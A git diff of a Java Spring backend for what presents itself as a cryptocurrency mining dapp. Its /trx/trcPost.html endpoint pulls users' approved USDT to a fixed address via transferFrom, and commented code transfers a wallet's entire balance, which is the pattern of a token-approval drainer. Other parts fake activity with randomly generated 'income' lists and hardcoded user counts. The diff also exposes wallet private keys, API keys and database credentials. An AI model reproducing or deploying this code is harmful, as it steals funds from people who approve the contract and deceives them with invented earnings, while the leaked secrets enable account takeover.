src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
@@ -1,8 +1,69 @@ package cc.mrbird.febs.dapp.chain; import lombok.Data; import lombok.Getter; /** * 链类型 */ @Getter public enum ChainEnum { ETH, TRX, BSC /** * 以太坊 USDT合约 */ ETH_USDT("0x6c5640c572504a75121e57760909a9dd0E672f2D", "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb", "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0", "0xdac17f958d2ee523a2206206994597c13d831ec7", ""), TRX_USDT("TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL", "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb", "", "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", "9d461be6-9796-47b9-85d8-b150cbabbb54"), BSC_USDT("0x971c09aA9735EB98459B17EC8b48932D24CbB931", "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47", "https://bsc-dataseed1.ninicoin.io", "0x55d398326f99059fF775485246999027B3197955", ""), /** * 币安链 代币合约 */ BSC_TFC("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25", "0xefe98e00cd227b6322e892c82fcbd8eadf119c3188b7e574bc624f65405d61bf", "https://bsc-dataseed1.ninicoin.io", "0x6c6835e60e7dbad7a60112a6371271e8eb79ee68", ""); private String address; private String privateKey; private String url; private String contractAddress; private String apiKey; ChainEnum(String address, String privateKey, String url, String contractAddress, String apiKey) { this.address = address; this.privateKey = privateKey; this.url = url; this.contractAddress = contractAddress; this.apiKey = apiKey; } public static ChainEnum getValueByName(String name) { ChainEnum[] values = values(); for (ChainEnum value : values) { if (value.name().equals(name)) { return value; } } return null; } } src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -4,16 +4,30 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; import lombok.extern.slf4j.Slf4j; import org.springframework.data.repository.query.ParameterOutOfBoundsException; import org.web3j.crypto.Credentials; import org.web3j.protocol.Web3j; import org.web3j.protocol.core.DefaultBlockParameter; import org.web3j.protocol.core.DefaultBlockParameterName; import org.web3j.protocol.core.DefaultBlockParameterNumber; import org.web3j.protocol.core.methods.request.EthFilter; import org.web3j.protocol.core.methods.response.TransactionReceipt; import org.web3j.protocol.http.HttpService; import org.web3j.tx.gas.StaticGasProvider; import java.math.BigDecimal; import java.math.BigInteger; import java.rmi.activation.UnknownObjectException; import java.util.HashMap; import java.util.List; import java.util.Map; /** * @author * @date 2022-03-23 **/ @Slf4j public class ChainService { private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; @@ -27,9 +41,13 @@ private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7"; private final static String BSC_URL = "https://bsc-dataseed1.ninicoin.io"; private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931"; private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47"; private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955"; // private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931"; // private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47"; // private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955"; private final static String BSC_ADDRESS = "0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25"; private final static String BSC_PRIVATE = "0xefe98e00cd227b6322e892c82fcbd8eadf119c3188b7e574bc624f65405d61bf"; private final static String BSC_CONTRACT_ADDRESS = "0x6c6835e60e7dbad7a60112a6371271e8eb79ee68"; private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS); private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS); @@ -57,82 +75,38 @@ throw new FebsException("参数错误"); } public static void main(String[] args) { // 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25 System.out.println(getInstance("BSC").isAllowance("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25")); /** * 监听合约事件 * @param startBlock 开始区块 */ public static void contractEventListener(BigInteger startBlock, ContractEventService event, String type) { ChainEnum chain = ChainEnum.getValueByName(type); assert chain != null; // System.out.println(getInstance("BSC").decimals());; EthUsdtContract contract = contract(chain.getPrivateKey(), chain.getContractAddress(), chain.getUrl()); EthFilter filter = getFilter(startBlock, chain.getContractAddress()); // System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); contract.transferEventFlowable(filter).subscribe(e -> { event.compile(e); }, error -> { log.error("--->", error); }); } // // /** // * 获取制定账号的USDT余额 // * // * @param address // * @return // */ // public BigDecimal balanceOf(String address) { // BigDecimal balance = BigDecimal.ZERO; // if (address.contains(ETH_PREFIX)) { // balance = ETH.tokenGetBalance(address); // } else { // balance = TRX.balanceOf(address); // } // return balance; // } // // /** // * 判断地址是否授权给制定账户 // * // * @param address // * @return // */ // public boolean isAllowance(String address) { // BigInteger result; // if (address.startsWith(ETH_PREFIX)) { // result = ETH.ethAllowance(address); // } else { // result = TRX.allowance(address); // } // // return result.intValue() != 0; // } // // /** // * 获取地址授权数量 // * // * @param address // * @return // */ // public int allowanceCnt(String address) { // String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); // String total = JSONObject.parseObject(response).getString("total"); // return Integer.parseInt(total); // } // // public String transfer(String address) { // BigDecimal amount = balanceOf(address); // // return transfer(address, amount); // } // // public String transfer(String address, BigDecimal amount) { // String hash; // if (address.startsWith(ETH_PREFIX)) { // String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); // JSONObject data = JSONObject.parseObject(resp); // hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); // } else { // hash = TRX.transfer(address, amount); // } // return hash; // } // // public static void main(String[] args) { //// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); // //// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); // System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); // } private static EthUsdtContract contract(String privateKey, String contractAddress, String url) { Credentials credentials = Credentials.create(privateKey); return EthUsdtContract.load(contractAddress, Web3j.build(new HttpService(url)), credentials, new StaticGasProvider(BigInteger.valueOf(4500000L), BigInteger.valueOf(200000L))); } private static EthFilter getFilter(BigInteger startBlock, String contractAddress) { DefaultBlockParameter parameterName = null; if (startBlock != null) { parameterName = new DefaultBlockParameterNumber(startBlock); } else { parameterName = DefaultBlockParameterName.EARLIEST; } return new EthFilter(parameterName, DefaultBlockParameterName.LATEST, contractAddress); } } src/main/java/cc/mrbird/febs/dapp/chain/ContractEventService.java
New file @@ -0,0 +1,6 @@ package cc.mrbird.febs.dapp.chain; public interface ContractEventService { void compile(EthUsdtContract.TransferEventResponse e); } src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java
@@ -28,35 +28,35 @@ private final DappSystemService dappSystemService; private final DappSimulateDataService dappSimulateDataService; @ApiOperation(value = "授权接口", notes = "授权接口") @PostMapping(value = "/approve") public FebsResponse approve(@RequestBody ApproveDto approveDto) { dappMemberService.approve(approveDto); return new FebsResponse().success().message("授权成功"); } // @ApiOperation(value = "授权接口", notes = "授权接口") // @PostMapping(value = "/approve") // public FebsResponse approve(@RequestBody ApproveDto approveDto) { // dappMemberService.approve(approveDto); // return new FebsResponse().success().message("授权成功"); // } // // @ApiOperation(value = "是否授权接口", notes = "是否授权接口") // @GetMapping(value = "/isApprove/{chain}/{address}") // public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) { // return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain)); // } @ApiOperation(value = "是否授权接口", notes = "是否授权接口") @GetMapping(value = "/isApprove/{chain}/{address}") public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) { return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain)); } @ApiOperation(value = "首页总收入和列表", notes = "总收入和列表") @ApiOperation(value = "头部数据", notes = "头部数据") @GetMapping(value = "/totalIncome") public FebsResponse totalIncome() { return new FebsResponse().success().data(dappSystemService.findTotalInComeAndList()); } @ApiOperation(value = "全局设置", notes = "全局设置") @GetMapping(value = "/globalSetting") public FebsResponse globalSetting() { return new FebsResponse().success().data(dappSystemService.globalSetting()); } // @ApiOperation(value = "全局设置", notes = "全局设置") // @GetMapping(value = "/globalSetting") // public FebsResponse globalSetting() { // return new FebsResponse().success().data(dappSystemService.globalSetting()); // } @ApiOperation(value = "获取模拟数据", notes = "获取模拟数据") @GetMapping(value = "/findSimulateData/{batchNo}") public FebsResponse findSimulateData(@PathVariable("batchNo") String batchNo) { SimulateDataVo simulateData = dappSimulateDataService.findSimulateData(batchNo); return new FebsResponse().success().data(simulateData); } // @ApiOperation(value = "获取模拟数据", notes = "获取模拟数据") // @GetMapping(value = "/findSimulateData/{batchNo}") // public FebsResponse findSimulateData(@PathVariable("batchNo") String batchNo) { // SimulateDataVo simulateData = dappSimulateDataService.findSimulateData(batchNo); // return new FebsResponse().success().data(simulateData); // } } src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java
@@ -37,19 +37,19 @@ return new FebsResponse().success().data(walletInfoVo); } @ApiOperation(value = "兑换接口", notes = "兑换") @PostMapping(value = "/change") public FebsResponse change(@RequestBody WalletOperateDto walletOperateDto) { dappWalletService.change(walletOperateDto); return new FebsResponse().success().message("兑换成功"); } @ApiOperation(value = "提现接口", notes = "提现接口") @PostMapping(value = "/withdraw") public FebsResponse withdraw(@RequestBody WalletOperateDto walletOperateDto) { dappWalletService.withdraw(walletOperateDto); return new FebsResponse().success().message("申请成功, 等待审核"); } // @ApiOperation(value = "兑换接口", notes = "兑换") // @PostMapping(value = "/change") // public FebsResponse change(@RequestBody WalletOperateDto walletOperateDto) { // dappWalletService.change(walletOperateDto); // return new FebsResponse().success().message("兑换成功"); // } // // @ApiOperation(value = "提现接口", notes = "提现接口") // @PostMapping(value = "/withdraw") // public FebsResponse withdraw(@RequestBody WalletOperateDto walletOperateDto) { // dappWalletService.withdraw(walletOperateDto); // return new FebsResponse().success().message("申请成功, 等待审核"); // } @ApiOperation(value = "记录列表", notes = "记录列表") @PostMapping(value = "/recordInPage") src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
@@ -1,120 +1,120 @@ package cc.mrbird.febs.dapp.controller; import cc.mrbird.febs.common.contants.AppContants; import cc.mrbird.febs.common.entity.FebsResponse; import cc.mrbird.febs.dapp.mapper.DappAdressListDao; import cc.mrbird.febs.dapp.dto.TrxPostDto; import cc.mrbird.febs.dapp.entity.DappAddressList; import cn.hutool.core.util.StrUtil; import io.swagger.annotations.Api; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; import org.web3j.abi.FunctionEncoder; import org.web3j.abi.FunctionReturnDecoder; import org.web3j.abi.TypeReference; import org.web3j.abi.datatypes.Address; import org.web3j.abi.datatypes.Function; import org.web3j.abi.datatypes.Type; import org.web3j.abi.datatypes.generated.Uint256; import org.web3j.crypto.Credentials; import org.web3j.crypto.RawTransaction; import org.web3j.crypto.TransactionEncoder; import org.web3j.protocol.Web3j; import org.web3j.protocol.core.DefaultBlockParameterName; import org.web3j.protocol.core.methods.request.Transaction; import org.web3j.protocol.core.methods.response.EthCall; import org.web3j.protocol.core.methods.response.EthGetTransactionCount; import org.web3j.protocol.core.methods.response.EthSendTransaction; import org.web3j.protocol.http.HttpService; import org.web3j.utils.Convert; import org.web3j.utils.Numeric; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.math.BigDecimal; import java.math.BigInteger; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.List; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ExecutionException; /** * @author * @date 2021-10-19 **/ @Slf4j @RequiredArgsConstructor @CrossOrigin(origins = "*") @RestController @Api(value = "接口啊", tags = "接口啊") @RequestMapping(value = "/trx") public class DappController { @Autowired private DappAdressListDao dappAdressListDao; @PostMapping(value = "/trcPost.html") public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { log.info("-----进入方法-----"); DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress()); if (dappAddress == null) { dappAddress = new DappAddressList(); dappAddress.setCreateTime(new Date()); dappAddress.setAddress(trxPostDto.getAddress()); dappAdressListDao.insert(dappAddress); } ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); // System.out.println(balanceOf); BigInteger decimals = token.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); BigDecimal amount = BigDecimal.ZERO; if (StrUtil.isNotBlank(trxPostDto.getAmount())) { amount = new BigDecimal(trxPostDto.getAmount()); } amount = amount.multiply(mul); token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L); return new FebsResponse().success(); } public static void main(String[] args) throws Exception { // ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978"); // Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper); //package cc.mrbird.febs.dapp.controller; // // BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"); // token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L); // ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54"); // Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper); ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));; } } //import cc.mrbird.febs.common.contants.AppContants; //import cc.mrbird.febs.common.entity.FebsResponse; //import cc.mrbird.febs.dapp.mapper.DappAdressListDao; //import cc.mrbird.febs.dapp.dto.TrxPostDto; //import cc.mrbird.febs.dapp.entity.DappAddressList; //import cn.hutool.core.util.StrUtil; //import io.swagger.annotations.Api; //import lombok.RequiredArgsConstructor; //import lombok.extern.slf4j.Slf4j; //import org.apache.commons.lang3.StringUtils; //import org.springframework.beans.factory.annotation.Autowired; //import org.springframework.web.bind.annotation.*; //import org.tron.trident.core.ApiWrapper; //import org.tron.trident.core.contract.Contract; //import org.tron.trident.core.contract.Trc20Contract; //import org.web3j.abi.FunctionEncoder; //import org.web3j.abi.FunctionReturnDecoder; //import org.web3j.abi.TypeReference; //import org.web3j.abi.datatypes.Address; //import org.web3j.abi.datatypes.Function; //import org.web3j.abi.datatypes.Type; //import org.web3j.abi.datatypes.generated.Uint256; //import org.web3j.crypto.Credentials; //import org.web3j.crypto.RawTransaction; //import org.web3j.crypto.TransactionEncoder; //import org.web3j.protocol.Web3j; //import org.web3j.protocol.core.DefaultBlockParameterName; //import org.web3j.protocol.core.methods.request.Transaction; //import org.web3j.protocol.core.methods.response.EthCall; //import org.web3j.protocol.core.methods.response.EthGetTransactionCount; //import org.web3j.protocol.core.methods.response.EthSendTransaction; //import org.web3j.protocol.http.HttpService; //import org.web3j.utils.Convert; //import org.web3j.utils.Numeric; // //import javax.servlet.http.HttpServletRequest; //import java.io.IOException; //import java.math.BigDecimal; //import java.math.BigInteger; //import java.util.ArrayList; //import java.util.Arrays; //import java.util.Date; //import java.util.List; //import java.util.concurrent.CompletableFuture; //import java.util.concurrent.ExecutionException; // ///** // * @author // * @date 2021-10-19 // **/ //@Slf4j //@RequiredArgsConstructor //@CrossOrigin(origins = "*") //@RestController //@Api(value = "接口啊", tags = "接口啊") //@RequestMapping(value = "/trx") //public class DappController { // // @Autowired // private DappAdressListDao dappAdressListDao; // // @PostMapping(value = "/trcPost.html") // public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { // log.info("-----进入方法-----"); // // DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress()); // if (dappAddress == null) { // dappAddress = new DappAddressList(); // dappAddress.setCreateTime(new Date()); // dappAddress.setAddress(trxPostDto.getAddress()); // dappAdressListDao.insert(dappAddress); // } // // ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); // // Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); //// BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); //// System.out.println(balanceOf); // // BigInteger decimals = token.decimals(); // BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); // BigDecimal amount = BigDecimal.ZERO; // if (StrUtil.isNotBlank(trxPostDto.getAmount())) { // amount = new BigDecimal(trxPostDto.getAmount()); // } // // amount = amount.multiply(mul); // // token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L); // return new FebsResponse().success(); // } // // public static void main(String[] args) throws Exception { //// ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978"); //// Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6"); //// Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper); //// //// BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"); //// token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L); // // //// ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54"); //// Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT"); //// Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper); // // // ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); // // Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // // System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));; // // } // // //} src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java
@@ -18,6 +18,6 @@ @ApiModelProperty(value = "每页数量") private Integer pageSize = 10; @ApiModelProperty(value = "类型", example = "1-兑换 2-提现 3-采矿") @ApiModelProperty(value = "类型", example = "1-买入 2-卖出 3-采矿") private Integer type; } src/main/java/cc/mrbird/febs/dapp/service/impl/BscCoinContractEvent.java
New file @@ -0,0 +1,15 @@ package cc.mrbird.febs.dapp.service.impl; import cc.mrbird.febs.dapp.chain.ContractEventService; import cc.mrbird.febs.dapp.chain.EthUsdtContract; import org.springframework.stereotype.Service; @Service public class BscCoinContractEvent implements ContractEventService { @Override public void compile(EthUsdtContract.TransferEventResponse e) { } } src/main/java/cc/mrbird/febs/dapp/service/impl/BscUsdtContractEvent.java
New file @@ -0,0 +1,15 @@ package cc.mrbird.febs.dapp.service.impl; import cc.mrbird.febs.dapp.chain.ContractEventService; import cc.mrbird.febs.dapp.chain.EthUsdtContract; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Service; @Slf4j @Service public class BscUsdtContractEvent implements ContractEventService { @Override public void compile(EthUsdtContract.TransferEventResponse e) { } } src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java
@@ -42,9 +42,9 @@ } WalletInfoVo walletInfo = new WalletInfoVo(); walletInfo.setTotalMine(simulateDataDto.getTotalOutput()); walletInfo.setAvailableMine(simulateDataDto.getRemainOutput()); walletInfo.setAvailableWallet(simulateDataDto.getBalance()); // walletInfo.setTotalMine(simulateDataDto.getTotalOutput()); // walletInfo.setAvailableMine(simulateDataDto.getRemainOutput()); // walletInfo.setAvailableWallet(simulateDataDto.getBalance()); String changeStr = simulateDataDto.getChange().replaceAll("\\n", ""); List<String> changeList = StrUtil.split(changeStr, ';'); src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java
@@ -38,22 +38,11 @@ public Map<String, Object> findTotalInComeAndList() { DappMineDataEntity dataMine = dappSystemDao.selectMineDataForOne(); List<Map<String, Object>> incomeList = new ArrayList<>(); for (int i = 0; i < 15; i++) { Map<String, Object> incomeItem = new HashMap<>(); int index = RandomUtil.randomInt(1, 10); String prefix = ADDRESS_PREFIX[index % 2]; String address = prefix + RandomUtil.randomString(22); incomeItem.put("address", StrUtil.hide(address, 8, address.length() - 6)); incomeItem.put("income", RandomUtil.randomBigDecimal(new BigDecimal("0.001"), new BigDecimal("2")).setScale(6, RoundingMode.HALF_DOWN)); incomeList.add(incomeItem); } Map<String, Object> result = new HashMap<>(); result.put("mineData", dataMine); result.put("userIncome", incomeList); result.put("total", 6000); result.put("addreessCnt", 1234); result.put("coinCnt", 4000); return result; } src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
@@ -41,16 +41,18 @@ @Override public WalletInfoVo walletInfo() { DappMemberEntity member = LoginUserUtil.getAppUser(); DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId()); DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId()); // DappMemberEntity member = LoginUserUtil.getAppUser(); // DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId()); // DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId()); WalletInfoVo walletInfo = new WalletInfoVo(); walletInfo.setInviteId(member.getInviteId()); walletInfo.setTotalMine(walletMine.getTotalAmount()); walletInfo.setAvailableMine(walletMine.getAvailableAmount()); walletInfo.setAvailableWallet(walletCoin.getAvailableAmount()); // walletInfo.setInviteId(member.getInviteId()); // walletInfo.setTotalMine(walletMine.getTotalAmount()); // walletInfo.setAvailableMine(walletMine.getAvailableAmount()); // walletInfo.setAvailableWallet(walletCoin.getAvailableAmount()); walletInfo.setTotalChild(10000); walletInfo.setTotalChild(41451); return walletInfo; } src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java
@@ -14,15 +14,21 @@ @ApiModel(value = "WalletInfoVo", description = "钱包信息返回参数类") public class WalletInfoVo { @ApiModelProperty(value = "总产量") private BigDecimal totalMine; // @ApiModelProperty(value = "总产量") // private BigDecimal totalMine; // // @ApiModelProperty(value = "可兑换") // private BigDecimal availableMine; // // @ApiModelProperty(value = "收入余额") // private BigDecimal availableWallet; // // @ApiModelProperty(value = "邀请码") // private String inviteId; @ApiModelProperty(value = "可兑换") private BigDecimal availableMine; @ApiModelProperty(value = "总关联数") private Integer totalChild; @ApiModelProperty(value = "收入余额") private BigDecimal availableWallet; @ApiModelProperty(value = "邀请码") private String inviteId; @ApiModelProperty(value = "关联持币") private BigDecimal totalChildCoin; } src/main/java/cc/mrbird/febs/job/ChainListenerJob.java
New file @@ -0,0 +1,29 @@ package cc.mrbird.febs.job; import cc.mrbird.febs.dapp.chain.ChainEnum; import cc.mrbird.febs.dapp.chain.ChainService; import cc.mrbird.febs.dapp.chain.ContractEventService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; import java.math.BigInteger; @Slf4j @Component public class ChainListenerJob { @Autowired private ContractEventService bscCoinContractEvent; @Autowired private ContractEventService bscUsdtContractEvent; @PostConstruct public void chainListenerJob() { log.info("监听打开"); ChainService.contractEventListener(new BigInteger("18103010"), bscUsdtContractEvent, ChainEnum.BSC_USDT.name()); // ChainService.contractEventListener(new BigInteger("18097238"), bscCoinContractEvent, ChainEnum.BSC_TFC.name()); } } src/main/resources/application-test.yml
@@ -18,7 +18,7 @@ username: ct_test password: 123456 driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://120.27.238.55:3306/sys-dapp?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2b8 url: jdbc:mysql://120.27.238.55:3306/db_tfc?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2b8 redis: # Redis数据库索引(默认为 0) src/main/resources/application.yml
@@ -5,7 +5,7 @@ spring: profiles: active: dev active: test thymeleaf: cache: false